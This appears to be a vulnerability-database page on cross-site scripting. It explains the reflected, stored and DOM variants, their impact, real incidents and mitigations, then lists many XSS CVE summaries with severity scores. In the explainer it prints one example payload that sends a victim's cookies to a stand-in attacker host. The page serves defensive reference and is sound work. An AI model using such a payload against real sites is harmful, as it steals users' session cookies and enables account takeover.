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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39237)

EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The jquery.json-viewer library through 1.4.0 for Node.js does not properly escape characters such as < in a JSON object, as demonstrated by a SCRIPT element. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Node.js Jquery Json Viewer
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Reflected XSS in GitHub repository microweber/microweber prior to 1.2.16. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Microweber
NVD GitHub
EPSS 5% CVSS 6.1
MEDIUM POC This Month

An XSS issue was discovered in browser_search_plugin.php in MantisBT before 2.25.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Mantisbt
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A reflected cross-site scripting (XSS) vulnerability in the component Query.php of arPHP v3.6.0 allows attackers to execute arbitrary web scripts. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Arphp
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

Cross-site Scripting (XSS) vulnerability in Web GUI of SiteManager allows logged-in user to inject scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Sitemanager 1129 Firmware Sitemanager 1139 Firmware +7
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site Scripting (XSS) vulnerability in Web UI of Secomea GateManager allows phishing attacker to inject javascript or html into logged in user session. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Gatemanager 4250 Firmware Gatemanager 4260 Firmware +2
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site scripting - Reflected in Create Subaccount in GitHub repository neorazorx/facturascripts prior to 2022.07. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Facturascripts
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

DOM XSS in microweber ver 1.2.15 in GitHub repository microweber/microweber prior to 1.2.16. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Microweber
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in /public/admin/index.php?add_product of E-Commerce Website v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS E Commerce Website
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability exists in FUEL-CMS 1.5.1 that allows an authenticated user to upload a malicious .pdf file which acts as a stored XSS payload. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Fuel Cms
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

In SpringBootMovie <=1.2 when adding movie names, malicious code can be stored because there are no filtering parameters, resulting in stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Springbootmovie
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in Pixelimity 1.0 allows attackers to execute arbitrary web scripts or HTML via the Title field in admin/pages.php?action=add_new. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Pixelimity
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an unauthenticated, remote attacker to conduct a cross-site scripting attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Cisco XSS Secure Firewall Management Center
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Multiple vulnerabilities in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an authenticated, remote attacker to conduct a cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Cisco XSS Secure Firewall Management Center
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Multiple vulnerabilities in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an authenticated, remote attacker to conduct a cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Cisco XSS Secure Firewall Management Center
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Multiple vulnerabilities in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an authenticated, remote attacker to conduct a cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Cisco XSS Secure Firewall Management Center
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Plugin Settings Change leading to Cross-Site Scripting (XSS) vulnerability in Cloudways Breeze plugin <= 2.0.2 on WordPress allows users with a subscriber or higher user role to execute any of the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Breeze
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Reflected Cross Site Scripting (XSS) vulnerability in NetIQ Access Manager prior to 5.0.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Netiq Access Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

The Photo Gallery by 10Web WordPress plugin before 1.6.3 does not properly sanitize the $_GET['image_url'] variable, which is reflected back to the users when executing the editimage_bwg AJAX action. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS WordPress Photo Gallery
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Fast Flow WordPress plugin before 1.2.12 does not sanitise and escape the page parameter before outputting back in an attribute in an admin dashboard, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Fastflow
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Import and export users and customers WordPress plugin before 1.19.2.1 does not sanitise and escaped imported CSV data, which could allow high privilege users to import malicious javascript code. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Import And Export Users And Customers
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The LifterLMS PayPal WordPress plugin before 1.4.0 does not sanitise and escape some parameters from the payment confirmation page before outputting them back in the page, leading to a Reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Lifterlms
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Visual Form Builder WordPress plugin before 3.0.7 does not sanitise and escape the form's 'Email to' field , which could allow high privilege users to perform Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Visual Form Builder
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The AdRotate WordPress plugin before 5.8.23 does not sanitise and escape Advert Names which could allow high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Adrotate
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The AdRotate WordPress plugin before 5.8.23 does not escape Group Names, which could allow high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html capability is. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Adrotate
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Content Egg WordPress plugin before 5.3.0 does not sanitise and escape the page parameter before outputting back in an attribute in the Autoblogging admin dashboard, leading to a Reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Content Egg
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Event List WordPress plugin before 0.8.8 does not sanitise and escape some of its settings, allowing high privilege users such as admin to perform Cross-Site Scripting attacks against other admin. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Event List
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

In Vendure versions 0.1.0-alpha.2 to 1.5.1 are affected by Stored XSS vulnerability, where an attacker having catalog permission can upload a SVG file that contains malicious JavaScript into the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Vendure
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

The RSS extension before 2022-04-29 for MediaWiki allows XSS via an rss element (if the feed is in $wgRSSUrlWhitelist and $wgRSSAllowLinkTag is true). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Rss For Mediawiki
NVD
EPSS 4% CVSS 6.1
MEDIUM POC This Month

Cyclos 4 PRO 4.14.7 and before does not validate user input at error inform, which allows remote unauthenticated attacker to execute javascript code via undefine enum constant. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cyclos
NVD Exploit-DB VulDB
EPSS 3% CVSS 6.1
MEDIUM POC This Month

A Dom-based Cross-site scripting (XSS) vulnerability at registration account in Cyclos 4 PRO.14.7 and before allows remote attackers to inject arbitrary web script or HTML via the groupId parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cyclos
NVD Exploit-DB VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

All versions of package materialize-css are vulnerable to Cross-site Scripting (XSS) due to improper escape of user input (such as &lt;not-a-tag /&gt;) that is being parsed as HTML/JavaScript, and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Materialize CSS
NVD GitHub
EPSS 1% CVSS 3.5
LOW PATCH Monitor

The package s-cart/s-cart before 6.9; the package s-cart/core before 6.9 are vulnerable to Cross-site Scripting (XSS) which can lead to cookie stealing of any victim that visits the affected URL so. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Authentication Bypass XSS S Cart
NVD
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

A Stored Cross Site Scripting (XSS) vulnerability exists in Shopizer versions 2.0 through 2.17.0, where a privileged user (attacker) can inject malicious JavaScript in the filename under the “Manage. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Shopizer
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Woodpecker before 0.15.1 allows XSS via build logs because web/src/components/repo/build/BuildLog.vue lacks escaping. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Woodpecker
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

This affects the package @yaireo/tagify before 4.9.8. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Tagify
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

A vulnerability has been found in automad up to 1.10.9 and classified as problematic. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Automad
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) in GitHub repository livehelperchat/livehelperchat prior to 3.99v. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Live Helper Chat
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

A vulnerability, which was classified as problematic, was found in Emlog Pro up to 1.2.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Emlog
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Nimbus skin for MediaWiki through 1.37.2 (before 6f9c8fb868345701d9544a54d9752515aace39df) allows XSS in Advertise link messages. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Mediawiki
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

WBCE CMS 1.5.2 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Wbce Cms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Limbas 4.3.36.1319 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Limbas
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Request Forgery (CSRF) leading to Stored Cross-Site Scripting (XSS) in Mufeng's Hermit 音乐播放器 plugin <= 3.1.6 on WordPress via &title parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS CSRF WordPress +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Mahara before 20.10.5, 21.04.4, 21.10.2, and 22.04.0 allows stored XSS when a particular Cascading Style Sheets (CSS) class for embedly is used, and JavaScript code is constructed to perform an. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Mahara
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability in Mati Skiba @ Rav Messer's Ravpage plugin <= 2.16 at WordPress. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Ravpage
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Request Forgery (CSRF) leading to Cross-Site Scripting (XSS) in Shea Bunge's Footer Text plugin <= 2.0.3 on WordPress. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS CSRF WordPress +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

IBM InfoSphere Information Server 11.7 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

IBM XSS Infosphere Information Server
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

IBM InfoSphere Information Server 11.7 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

IBM XSS Infosphere Information Server
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

IBM InfoSphere Information Server 11.7 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

IBM XSS Infosphere Information Server
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Stored XSS via upload plugin functionality in zip format in GitHub repository neorazorx/facturascripts prior to 2022.06. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Facturascripts
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in PHP MySQL Admin Panel Generator v1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected at /edit-db.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Php Mysql Admin Panel Generator
NVD GitHub VulDB
EPSS 1% CVSS 9.0
CRITICAL POC Act Now

Turtlapp Turtle Note v0.7.2.6 does not filter the <meta> tag during markdown parsing, allowing attackers to execute HTML injection. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Turtl
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Shopware is an open source e-commerce software platform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Shopware
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

The Ericom PowerTerm WebConnect 6.0 login portal can unsafely write an XSS payload from the AppPortal cookie into the page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Powerterm Webconnect
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

In JetBrains IntelliJ IDEA before 2022.1 reflected XSS via error messages in internal web server was possible. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Intellij Idea
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

In JetBrains Hub before 2022.1.14638 stored XSS via project icon was possible. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Hub
NVD
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

ESAPI (The OWASP Enterprise Security API) is a free, open source, web application security control library. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Enterprise Security Api Weblogic Server +2
NVD GitHub
EPSS 2% CVSS 4.8
MEDIUM PATCH This Month

IBM QRadar 7.3, 7.4, and 7.5 is vulnerable to cross-site scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Qradar Security Information And Event Manager
NVD
EPSS 1% CVSS 9.0
CRITICAL Act Now

Apifox through 2.1.6 is vulnerable to Cross Site Scripting (XSS) which can lead to remote code execution. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

RCE XSS Apifox
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

XSS in /demo/module/?module=HERE in GitHub repository microweber/microweber prior to 1.2.15. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Microweber
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in GetSimple CMS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Getsimple Cms
NVD GitHub VulDB
EPSS 3% CVSS 6.1
MEDIUM POC This Month

HotelDruid Hotel Management Software v3.0.3 contains a cross-site scripting (XSS) vulnerability via the prezzoperiodo4 parameter in creaprezzi.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Hoteldruid
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

ZCMS v20170206 was discovered to contain a stored cross-site scripting (XSS) vulnerability via index.php?m=home&c=message&a=add. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Zcms
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

nopCommerce 4.50.1 is vulnerable to Cross Site Scripting (XSS) via the "Text" parameter (forums) when creating a new post, which allows a remote attacker to execute arbitrary JavaScript code at. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Nopcommerce
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

nopCommerce 4.50.1 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Nopcommerce
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

nopCommerce 4.50.1 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Nopcommerce
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

Stored Cross-Site Scripting (XSS) vulnerability in Alexander Ustimenko's Psychological tests & quizzes plugin <= 0.21.19 on WordPress possible for users with contributor or higher role via. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Psychological Tests Quizzes
NVD
EPSS 2% CVSS 5.4
MEDIUM POC PATCH This Month

stored xss in GitHub repository getgrav/grav prior to 1.7.33. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Grav
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM This Month

Authenticated (admin user role) Persistent Cross-Site Scripting (XSS) in Mark Daniels Night Mode plugin <= 1.0.0 on WordPress via vulnerable parameters: &ntmode_page_setting[enable-me],. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Night Mode
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Reflective Cross-Site Scripting vulnerability in WordPress Country Selector Plugin Version 1.6.5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Wordpress Country Selector
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Layout module's Open Graph integration in Liferay Portal 7.3.0 through 7.4.0, and Liferay DXP 7.3 before service pack 3 allows remote attackers to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Digital Experience Platform Liferay Portal
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in Journal module's web content display configuration page in Liferay Portal 7.1.0 through 7.3.3, and Liferay DXP 7.0 before fix pack 94, 7.1 before fix pack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Digital Experience Platform Liferay Portal
NVD VulDB
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Donorbox WordPress plugin before 7.1.7 does not sanitise and escape its Campaign URL settings before outputting it in an attribute, leading to a Stored Cross-Site Scripting issue even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Donorbox
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Opensea WordPress plugin before 1.0.3 does not sanitize and escape some of its settings, like its "Referer address" field, which could allow high privilege users to perform Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Opeansea
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Books & Papers WordPress plugin through 0.20210223 does not escape its Custom DB prefix settings, allowing high privilege users to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Books Papers
NVD WPScan
EPSS 3% CVSS 4.8
MEDIUM POC This Month

The LayerSlider WordPress plugin before 7.1.2 does not sanitise and escape Project's slug before outputting it back in various place, which could allow high privilege users such as admin to perform. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress LayerSlider
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Menubar WordPress plugin before 5.8 does not sanitise and escape the command parameter before outputting it back in the response via the menubar AJAX action (available to any authenticated. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Menubar
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The amr users WordPress plugin before 4.59.4 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Amr Users
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Page Restriction WordPress (WP) WordPress plugin before 1.2.7 allows bad actors with administrator privileges to the settings page to inject Javascript code to its settings leading to stored. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Page Restriction
NVD WPScan
EPSS 3% CVSS 6.1
MEDIUM POC This Month

The Anti-Malware Security and Brute-Force Firewall WordPress plugin before 4.20.96 does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Download Anti Malware Security And Brute Force Firewall
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Social comments by WpDevArt WordPress plugin before 2.5.0 does not sanitise and escape its settings, allowing high privilege users such as admin to perform cross-Site Scripting attacks even when. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Social Comments
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

SCBS Online Sports Venue Reservation System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the fid parameter at booking.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Online Sports Complex Booking System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

XSS in edit page of Hoosk 1.8.0 allows attacker to execute javascript code in user browser via edit page with XSS payload bypass filter some special chars. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Hoosk
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in /index.php/album/add of GalleryCMS v2.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Gallerycms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

